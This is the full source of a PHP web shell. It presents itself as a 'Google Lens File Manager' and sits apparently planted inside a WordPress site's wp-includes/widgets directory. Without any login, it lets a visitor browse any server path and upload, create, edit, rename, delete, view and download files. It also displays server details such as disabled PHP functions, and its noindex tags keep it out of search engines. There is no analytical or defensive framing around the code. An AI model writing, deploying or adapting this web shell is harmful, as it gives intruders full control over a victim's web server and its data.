File: /home/beestg/domains/beestgenot.nl/public_html/wp-includes/widgets/402922/index.php
<?php
function x($string) {
return htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
}
function formatSize($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' B';
}
}
function getIcon($path) {
return is_dir($path) ? '📁' : '📄';
}
$currentPath = isset($_GET['d']) ? $_GET['d'] : getcwd();
if (!is_dir($currentPath)) {
$currentPath = getcwd();
}
if (isset($_POST['submit_edit'])) {
$file = $_POST['edited_file'];
$content = $_POST['file_content'];
if (file_put_contents($file, $content) !== false) {
echo "<script>alert('File berhasil diedit!');window.location='?d=" . urlencode(dirname($file)) . "';</script>";
} else {
echo "Gagal mengedit file.";
}
exit;
}
if (isset($_POST['upload'])) {
$targetFile = $currentPath . DIRECTORY_SEPARATOR . $_FILES['uploaded_file']['name'];
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $targetFile)) {
echo "<script>alert('File berhasil diunggah!');</script>";
} else {
echo "<script>alert('Gagal mengunggah file!');</script>";
}
}
if (isset($_POST['create_folder'])) {
$folderName = $_POST['folder_name'];
if ($folderName && mkdir($currentPath . DIRECTORY_SEPARATOR . $folderName)) {
echo "<script>alert('Folder berhasil dibuat!');</script>";
} else {
echo "<script>alert('Gagal membuat folder!');</script>";
}
}
if (isset($_POST['rename'])) {
$oldPath = $_POST['rename_path'];
$newName = $_POST['new_name'];
$newPath = dirname($oldPath) . DIRECTORY_SEPARATOR . $newName;
if (rename($oldPath, $newPath)) {
echo "<script>alert('Nama berhasil diubah!');</script>";
} else {
echo "<script>alert('Gagal mengubah nama!');</script>";
}
}
if (isset($_POST['delete_path'])) {
$deletePath = $_POST['delete_path'];
if (is_dir($deletePath)) {
rmdir($deletePath);
} else {
unlink($deletePath);
}
echo "<script>alert('Berhasil dihapus!');</script>";
}
if (isset($_GET['view'])) {
$viewPath = $_GET['view'];
if (is_file($viewPath)) {
header('Content-Type: text/plain');
readfile($viewPath);
exit;
}
}
if (isset($_GET['download'])) {
$file = $_GET['download'];
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
} else {
echo "File not found.";
exit;
}
}
if (isset($_GET['edit_file'])) {
$file = $_GET['edit_file'];
$content = file_get_contents($file);
if ($content !== false) {
echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Edit File</title>
<style>
body{font-family:sans-serif;background:#001f3f;color:#fff;padding:20px}
textarea{width:100%;height:400px}
input[type=submit]{padding:10px 20px;margin-top:10px;background:#ffcc00;border:none;cursor:pointer;color:#000}
</style></head><body>
<h2>Edit File: '.x($file).'</h2>
<form method="post">
<textarea name="file_content">'.htmlspecialchars($content).'</textarea>
<input type="hidden" name="edited_file" value="'.x($file).'">
<input type="submit" name="submit_edit" value="Simpan">
</form></body></html>';
exit;
} else {
echo "Gagal membaca isi file.";
exit;
}
}
if (isset($_POST['create_file'])) {
$newFileName = $_POST['new_file_name'];
$newFileContent = $_POST['new_file_content'];
$newFilePath = $currentPath . DIRECTORY_SEPARATOR . $newFileName;
if (file_put_contents($newFilePath, $newFileContent)) {
echo "<script>alert('File berhasil dibuat!');</script>";
} else {
echo "<script>alert('Gagal membuat file!');</script>";
}
}
?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<title>SEO DRAGON DIRECTORY</title>
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex, nofollow">
<meta name="bingbot" content="noindex, nofollow">
<meta name="slurp" content="noindex, nofollow">
<meta name="yandex" content="noindex, nofollow">
<meta name="duckduckbot" content="noindex, nofollow">
<link rel="icon" type="image/png" sizes="16x16" href="https://cdnkumana.web.app/img/dragon-ico.webp">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
<link href="https://fonts.cdnfonts.com/css/qanelas" rel="stylesheet">
<style>
/* Perbaikan body dan font */
body {
background-color: #001f3f;
color: #ffffff;
font-family: 'Qanelas', sans-serif;
font-size: 14px;
margin: 0;
padding: 0;
overflow-y: auto;
}
#container {
background-color: black;
padding: 20px;
margin: 10px;
border-radius: 10px;
box-sizing: border-box;
}
/* Server Info Styling */
#server-info {
margin-top: 20px;
background-color: #002b5c;
padding: 20px;
border-radius: 10px;
color: #fff;
}
#server-info h3 {
font-size: 16px;
color: #ffcc00;
margin-bottom: 15px;
display: flex;
align-items: center;
gap: 8px;
}
.server-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(240px, 1fr));
gap: 10px;
}
.server-grid div {
background: #001c33;
border: 1px solid #004080;
padding: 10px;
border-radius: 6px;
}
.server-grid strong {
display: block;
color: #ffcc00;
font-weight: 600;
margin-bottom: 5px;
}
.server-grid span {
color: #fff;
word-break: break-word;
}
/* Breadcrumb */
.breadcrumb {
margin: 15px 0;
}
.breadcrumb a {
color: white;
text-decoration: none;
margin-right: 5px;
}
.breadcrumb i {
color: #ffcc00;
margin-right: 4px;
}
/* Table file list */
.table-wrapper {
overflow-y: auto;
max-height: 400px;
border: 1px solid #444;
margin-top: 10px;
}
table {
width: 100%;
border-collapse: collapse;
table-layout: fixed;
}
th, td {
padding: 10px;
text-align: left;
border-bottom: 1px solid #444;
word-wrap: break-word;
}
th {
background-color: rgb(235, 180, 0);
color: #000;
position: sticky;
top: 0;
z-index: 10;
}
tr:nth-child(even) { background-color: #003366; }
tr:nth-child(odd) { background-color: #000000; }
.actions button {
background-color: #fff;
color: #001f3f;
padding: 4px 10px;
margin-right: 4px;
border: none;
border-radius: 5px;
cursor: pointer;
}
.actions button:hover {
background-color: #3399ff;
}
</style>
<div id="server-info">
<h3><i class="fas fa-server"></i> Server Information</h3>
<div class="server-grid">
<div><strong>PHP Version</strong><span><?php echo phpversion(); ?></span></div>
<div><strong>Server Software</strong><span><?php echo $_SERVER['SERVER_SOFTWARE'] ?? 'N/A'; ?></span></div>
<div><strong>Document Root</strong><span><?php echo $_SERVER['DOCUMENT_ROOT'] ?? 'N/A'; ?></span></div>
<div><strong>Server IP</strong><span><?php echo $_SERVER['SERVER_ADDR'] ?? gethostbyname(gethostname()); ?></span></div>
<div><strong>Client IP</strong><span><?php echo $_SERVER['REMOTE_ADDR'] ?? 'N/A'; ?></span></div>
<div><strong>Disable Functions</strong><span><?php echo ini_get('disable_functions') ?: '-'; ?></span></div>
<div><strong>Operating System</strong><span><?php echo PHP_OS; ?></span></div>
</div>
</div>
<script>
function toggleCreateFileForm() {
const createFileForm = document.getElementById('create-file-form');
createFileForm.style.display = createFileForm.style.display === 'none' ? 'block' : 'none';
}
</script>
</head>
<body>
<script>
function createRain() {
const numberOfDrops = 150;
for (let i = 0; i < numberOfDrops; i++) {
const drop = document.createElement('div');
drop.classList.add('drop');
drop.style.left = ${Math.random() * 100}vw;
const height = Math.random() * 20 + 10;
drop.style.height = ${height}px;
const duration = Math.random() * 1 + 1.5;
const delay = Math.random() * 2;
drop.style.animationDuration = ${duration}s;
drop.style.animationDelay = ${delay}s;
document.body.appendChild(drop);
}
}
createRain();
</script>
<style>
.header {
text-align: center;
padding: 10px 10px 10px;
background-color: #001f3f;
}
.header img {
max-width: 250px;
height: auto;
margin-top: 7px;
}
</style>
<div id="container">
<h2 style="color: #ffcc00;">📂 GOOGLE LENS FILE MANAGER</h2>
<!-- Breadcrumb -->
<div>
<?php
echo '<div class="breadcrumb">';
$breadcrumbs = explode(DIRECTORY_SEPARATOR, $currentPath);
$breadcrumbPath = '';
$lastIndex = count($breadcrumbs) - 1;
foreach ($breadcrumbs as $index => $dir) {
$breadcrumbPath .= $dir . DIRECTORY_SEPARATOR;
echo '<a href="?d=' . urlencode($breadcrumbPath) . '">
<i class="fa fa-folder"></i>' . x($dir) . '
</a>';
if ($index !== $lastIndex) {
echo '<i class="fa fa-angle-right"></i>';
}
}
echo '</div>';
?>
</div>
<style>
#server-info {
margin-top: 30px;
background-color: #002b5c;
padding: 20px;
border-radius: 10px;
color: #fff;
font-size: 13px;
}
#server-info h3 {
margin-top: 0;
font-size: 16px;
color: #ffcc00;
margin-bottom: 15px;
display: flex;
align-items: center;
gap: 8px;
}
.server-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
gap: 12px;
}
.server-grid div {
background: #001c33;
border: 1px solid #004080;
padding: 10px;
border-radius: 6px;
}
.server-grid strong {
display: block;
color: #ffcc00;
margin-bottom: 4px;
}
.server-grid span {
color: #fff;
word-break: break-all;
}
.breadcrumb a {
color: white;
text-decoration: none;
margin-right: 5px;
}
.breadcrumb i {
color: #ffcc00;
margin-right: 4px;
}
</style>
</br>
<!-- File Upload Form -->
<form method="POST" enctype="multipart/form-data">
<input type="file" name="uploaded_file" required>
<button type="submit" name="upload"><i class="fas fa-upload"></i> Upload</button>
</form>
</br>
<!-- Folder Create Form -->
<form method="POST">
<input type="text" name="folder_name" placeholder="Input Folder Name" required>
<button type="submit" name="create_folder"><i class="fas fa-folder-plus"></i> Create Folder</button>
</form>
</br>
<button onclick="toggleCreateFileForm()"><i class="fas fa-file-alt"></i> Create File</button>
<form method="POST" id="create-file-form" style="display:none;">
<input type="text" name="new_file_name" placeholder="Nama File.txt" required>
<textarea name="new_file_content" rows="5" placeholder="Isi file..." required></textarea>
<button type="submit" name="create_file"><i class="fas fa-plus"></i> Save File</button>
</form>
<!-- Table Wrapper with Scroll -->
<div class="table-wrapper">
<table>
<tr style="font-size: 14px;">
<th>Name</th>
<th>Permission</th>
<th>Size</th>
<th>Action</th>
</tr>
<?php
$files = scandir($currentPath);
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$fullPath = $currentPath . DIRECTORY_SEPARATOR . $file;
$permissions = is_readable($fullPath) ? substr(sprintf('%o', @fileperms($fullPath)), -4) : 'N/A';
$size = (is_file($fullPath) && is_readable($fullPath)) ? formatSize(@filesize($fullPath)) : 'Folder';
$icon = getIcon($fullPath);
echo "<tr>
<td>$icon <a href='?d=" . urlencode($fullPath) . "'>" . x($file) . "</a></td>
<td>$permissions</td>
<td>$size</td>
<td class='actions'>
<form method='POST' style='display:inline;'>
<input type='hidden' name='rename_path' value='" . x($fullPath) . "'>
<input type='text' name='new_name' placeholder='Nama Baru'>
<button type='submit' name='rename'><i class='fas fa-edit'></i></button>
</form>
<form method='POST' style='display:inline;'>
<input type='hidden' name='delete_path' value='" . x($fullPath) . "'>
<button type='submit'><i class='fas fa-trash-alt'></i></button>
</form>";
if (is_file($fullPath) && is_readable($fullPath)) {
echo "<a href='?view=" . urlencode($fullPath) . "'><button type='button'><i class='fas fa-eye'></i></button></a>";
echo "<a href='?edit_file=" . urlencode($fullPath) . "'><button type='button'><i class='fas fa-pen'></i></button></a>";
echo "<a href='?download=" . urlencode($fullPath) . "'><button type='button'><i class='fas fa-download'></i></button></a>";
}
echo "</td>
</tr>";
}
}
?>
</table>
</div>
</div>
<h4 style="color:#ffcc00; text-align: center; margin: 20px auto; width: 100%; max-width: 100%; font-size: 14px;">Powered By GoogleLens</h4>
</body>
</html>